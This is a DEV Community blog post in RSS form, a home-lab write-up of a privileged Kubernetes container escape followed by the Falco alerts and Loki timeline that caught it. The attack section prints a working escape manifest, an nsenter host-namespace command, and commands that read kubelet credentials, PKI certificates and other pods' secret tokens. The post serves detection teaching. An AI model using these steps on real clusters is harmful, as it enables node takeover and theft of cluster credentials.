<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Christopher Azzopardi</title>
    <description>The latest articles on DEV Community by Christopher Azzopardi (@chrisazzo).</description>
    <link>https://dev.to/chrisazzo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3959464%2Fd8b96f70-bb7d-4d1c-86f8-3d8f40638aed.png</url>
      <title>DEV Community: Christopher Azzopardi</title>
      <link>https://dev.to/chrisazzo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/chrisazzo"/>
    <language>en</language>
    <item>
      <title>I Escaped a Privileged Kubernetes Container — Here's What Falco Saw</title>
      <dc:creator>Christopher Azzopardi</dc:creator>
      <pubDate>Fri, 05 Jun 2026 03:31:56 +0000</pubDate>
      <link>https://dev.to/chrisazzo/i-escaped-a-privileged-kubernetes-container-heres-what-falco-saw-1cbg</link>
      <guid>https://dev.to/chrisazzo/i-escaped-a-privileged-kubernetes-container-heres-what-falco-saw-1cbg</guid>
      <description>&lt;p&gt;&lt;em&gt;Build Log: Project 1 — K8s SOC Foundation | Attack 2 of 4&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;The container had root on the node within 90 seconds of starting.&lt;/p&gt;

&lt;p&gt;Not root inside the container. Root on the actual Kubernetes node — access to the host filesystem, the kubelet credentials, the node's process table, everything. From inside a pod.&lt;/p&gt;

&lt;p&gt;This is the privileged container escape. It's one of the most well-documented Kubernetes attack techniques, it's in every red team playbook for cloud-native environments, and it works exactly as advertised when a cluster isn't hardened against it.&lt;/p&gt;

&lt;p&gt;This is Attack 2 in my four-attack detection series. &lt;a href="https://dev.to/chrisazzo/how-i-deployed-a-cryptominer-into-my-kubernetes-cluster-and-caught-it-with-falco-5hnj"&gt;Attack 1 covered cryptominer deployment&lt;/a&gt;. This one goes deeper — the impact is higher, the Falco detection is richer, and the evidence trail is more instructive.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Privileged Containers Are a Critical Risk
&lt;/h2&gt;

&lt;p&gt;A privileged container runs with &lt;code&gt;privileged: true&lt;/code&gt; in its security context. This disables the Linux namespace isolation that normally keeps container processes separated from the host. The container process effectively has the same capabilities as a root process on the node itself.&lt;/p&gt;

&lt;p&gt;In practice, this means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Full access to the host filesystem via &lt;code&gt;/proc/1/ns/mnt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Ability to load and unload kernel modules&lt;/li&gt;
&lt;li&gt;Access to raw network interfaces&lt;/li&gt;
&lt;li&gt;Visibility into all processes running on the node&lt;/li&gt;
&lt;li&gt;Access to node-level credentials — including the kubelet's kubeconfig&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Privileged containers have legitimate uses: certain CNI plugins, node-level monitoring agents, some storage drivers. That legitimate use case is exactly why this attack vector persists — misconfigured workloads, copy-pasted manifests, and overly permissive RBAC all create openings.&lt;/p&gt;

&lt;p&gt;TeamTNT, Hildegard, and multiple other threat actor groups have used privileged container access as a lateral movement technique against Kubernetes clusters. This isn't theoretical.&lt;/p&gt;




&lt;h2&gt;
  
  
  MITRE ATT&amp;amp;CK Mapping
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique ID&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;What it maps to&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1611&lt;/td&gt;
&lt;td&gt;Escape to Host&lt;/td&gt;
&lt;td&gt;nsenter into host mount namespace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1068&lt;/td&gt;
&lt;td&gt;Exploitation for Privilege Escalation&lt;/td&gt;
&lt;td&gt;privileged flag bypassing namespace isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1552.004&lt;/td&gt;
&lt;td&gt;Unsecured Credentials: Credentials in Files&lt;/td&gt;
&lt;td&gt;reading kubelet kubeconfig from host filesystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1082&lt;/td&gt;
&lt;td&gt;System Information Discovery&lt;/td&gt;
&lt;td&gt;enumerating host processes and filesystem post-escape&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;using harvested credentials for lateral movement&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The Attack
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — Deploy the Privileged Pod
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# attack-02-privileged-escape.yaml&lt;/span&gt;
&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pod&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;privileged-escape&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;attack-sim&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;node-agent&lt;/span&gt;    &lt;span class="c1"&gt;# Generic label to blend in&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;privileged-escape&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu:22.04&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/bash"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sleep&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;infinity"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;securityContext&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;privileged&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;        &lt;span class="c1"&gt;# Full host capabilities&lt;/span&gt;
      &lt;span class="na"&gt;runAsUser&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
    &lt;span class="na"&gt;volumeMounts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host-root&lt;/span&gt;
      &lt;span class="na"&gt;mountPath&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/host&lt;/span&gt;         &lt;span class="c1"&gt;# Host filesystem mounted at /host&lt;/span&gt;
  &lt;span class="na"&gt;hostPID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;                &lt;span class="c1"&gt;# Access to host PID namespace&lt;/span&gt;
  &lt;span class="na"&gt;hostNetwork&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;            &lt;span class="c1"&gt;# Access to host network namespace&lt;/span&gt;
  &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host-root&lt;/span&gt;
    &lt;span class="na"&gt;hostPath&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;                  &lt;span class="c1"&gt;# Entire host filesystem&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; attack-02-privileged-escape.yaml
kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; privileged-escape &lt;span class="nt"&gt;-n&lt;/span&gt; attack-sim &lt;span class="nt"&gt;--&lt;/span&gt; /bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pod starts in seconds. We're inside a container — for now.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff0zwyrah1h6fecshgl96.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff0zwyrah1h6fecshgl96.webp" alt=" " width="799" height="260"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Escape to Host via nsenter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Inside the container&lt;/span&gt;
&lt;span class="c"&gt;# nsenter jumps into the host's mount namespace using /proc/1&lt;/span&gt;
nsenter &lt;span class="nt"&gt;--mount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/proc/1/ns/mnt &lt;span class="nt"&gt;--uts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/proc/1/ns/uts &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nt"&gt;--ipc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/proc/1/ns/ipc &lt;span class="nt"&gt;--net&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/proc/1/ns/net &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nt"&gt;--pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/proc/1/ns/pid &lt;span class="nt"&gt;--&lt;/span&gt; /bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're no longer in the container namespace. We're in the host's namespace. The same node that runs the Kubernetes control plane.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify we're on the host&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;      &lt;span class="c"&gt;# Returns the node hostname, not the pod name&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/os-release   &lt;span class="c"&gt;# Host OS, not container OS&lt;/span&gt;
ps aux        &lt;span class="c"&gt;# All host processes visible&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg61nw5fqzco5qij8uawi.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg61nw5fqzco5qij8uawi.webp" alt=" " width="800" height="580"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Harvest Node Credentials
&lt;/h3&gt;

&lt;p&gt;From the host namespace, the kubelet's credentials are readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Kubelet kubeconfig — contains cluster credentials&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/kubernetes/kubelet.conf

&lt;span class="c"&gt;# PKI certificates&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/kubernetes/pki/

&lt;span class="c"&gt;# Kubelet client certificate&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/kubelet/pki/kubelet-client-current.pem

&lt;span class="c"&gt;# Any kubeadm-stored credentials&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/kubernetes/admin.conf 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check what the kubelet credential can access&lt;/span&gt;
&lt;span class="nv"&gt;KUBECONFIG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/kubernetes/kubelet.conf kubectl auth can-i &lt;span class="nt"&gt;--list&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kubelet credential won't have cluster-admin access, but it will have node-level access — enough for further lateral movement, reading secrets mounted to pods on this node, and potentially pivoting to other nodes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Read Secrets From Host Filesystem
&lt;/h3&gt;

&lt;p&gt;Secrets mounted into pods on this node are accessible directly from the host filesystem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find all mounted secrets on the node&lt;/span&gt;
find /host/var/lib/kubelet/pods &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.json"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Read service account tokens from other pods&lt;/span&gt;
find /host/var/lib/kubelet/pods &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"*/secrets/*"&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fli8t9wfnk8hgx93168dp.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fli8t9wfnk8hgx93168dp.webp" alt=" " width="800" height="308"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the real impact. The escape gives you access not just to this pod's credentials but to the credentials of every pod running on the same node.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Detection: What Falco Saw
&lt;/h2&gt;

&lt;p&gt;Four rules fired. In sequence, they tell the complete attack story.&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 1 — Privileged Container Launched
&lt;/h3&gt;

&lt;p&gt;This fires at pod start — before any escape attempt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning Privileged container started 
    (user=root image=ubuntu:22.04 
    k8s.ns=attack-sim k8s.pod.name=privileged-escape 
    container.privileged=true 
    evt.type=container)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Launch Privileged Container"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"container"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_privilege_escalation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"T1068"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A privileged container starting is itself a detection signal — regardless of what happens next. In a hardened cluster, this is where the story should end: the admission controller rejects the manifest and the pod never starts. Here it runs, and Falco immediately surfaces it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 2 — Host Namespace Entered via nsenter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning Namespace change (setns) by unexpected program 
    (user=root proc.name=nsenter proc.cmdline=nsenter --mount=/proc/1/ns/mnt 
    k8s.ns=attack-sim k8s.pod.name=privileged-escape 
    proc.pname=bash evt.type=setns)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Change thread namespace"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"process"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_privilege_escalation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"T1611"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;setns&lt;/code&gt; syscall is what nsenter uses to switch namespaces. Falco watches at the syscall level — it saw the exact moment the escape happened.&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 3 — Sensitive File Read From Host
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning Sensitive file opened for reading by non-trusted program 
    (user=root proc.name=cat 
    fd.name=/etc/kubernetes/kubelet.conf 
    k8s.ns=attack-sim k8s.pod.name=privileged-escape)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; 
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Read sensitive file untrusted"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"filesystem"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_credential_access"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"T1552.004"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reading &lt;code&gt;kubelet.conf&lt;/code&gt; from a container — even one running as root — is abnormal. Falco's sensitive file rules cover a broad set of credential and configuration paths: &lt;code&gt;/etc/kubernetes/&lt;/code&gt;, &lt;code&gt;/var/lib/kubelet/pki/&lt;/code&gt;, &lt;code&gt;/root/.kube/&lt;/code&gt;, and others.&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 4 — Container Launched With Sensitive Mount
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning Container launched with sensitive mount 
    (user=root image=ubuntu:22.04 
    k8s.pod.name=privileged-escape 
    k8s.ns=attack-sim 
    fd.name=/ mounts=/ 
    evt.type=container)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Launch Sensitive Mount Container"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"container"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_discovery"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"T1082"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The host filesystem mount at &lt;code&gt;/host&lt;/code&gt; triggered this rule at container start, in parallel with Alert 1. Two separate rules firing simultaneously for the same pod is a strong signal — correlated alerts are harder to explain away as false positives.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Loki Timeline
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{namespace="attack-sim", pod="privileged-escape"} 
  | json 
  | line_format "{{.time}} | {{.priority}} | {{.rule}}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;T+00:00  Pod scheduled
T+00:08  Container started
T+00:09  ALERT: Launch Privileged Container [Warning]
T+00:09  ALERT: Launch Sensitive Mount Container [Warning]
T+00:41  kubectl exec shell opened
T+01:12  ALERT: Change thread namespace — nsenter [Warning]
T+01:34  ALERT: Read sensitive file — kubelet.conf [Warning]
T+01:47  Falcosidekick: Slack notification batch delivered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first two alerts fire at container start — 33 seconds before we even exec into the pod. By the time we attempted the escape, a real SOC would already have an open incident for a privileged container in the &lt;code&gt;attack-sim&lt;/code&gt; namespace.&lt;/p&gt;




&lt;h2&gt;
  
  
  Comparing Attack 1 and Attack 2
&lt;/h2&gt;

&lt;p&gt;Both attacks were caught. The nature of the detection is different and worth understanding.&lt;/p&gt;

&lt;p&gt;The cryptominer (Attack 1) produced &lt;strong&gt;behavioural signals&lt;/strong&gt;: outbound network connection to a mining pool, an unexpected process making external connections. The detection was based on what the container &lt;em&gt;did&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The privileged escape produced &lt;strong&gt;structural signals&lt;/strong&gt;: a container with &lt;code&gt;privileged: true&lt;/code&gt;, a host filesystem mount, a namespace-change syscall. The detection was based on what the container &lt;em&gt;was configured to be&lt;/em&gt;. Two of the four alerts fired before any malicious action took place.&lt;/p&gt;

&lt;p&gt;This distinction matters for defenders. Behavioural detection catches attacks in progress. Structural detection can surface risk before exploitation begins. A mature detection programme needs both.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Prevention Looks Like (Project 3 Preview)
&lt;/h2&gt;

&lt;p&gt;In Project 3, after CKS, the same manifest gets stopped at the admission controller:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OPA Gatekeeper&lt;/strong&gt; will reject any pod spec with &lt;code&gt;privileged: true&lt;/code&gt; or &lt;code&gt;hostPID: true&lt;/code&gt; — the pod never gets scheduled.&lt;/p&gt;

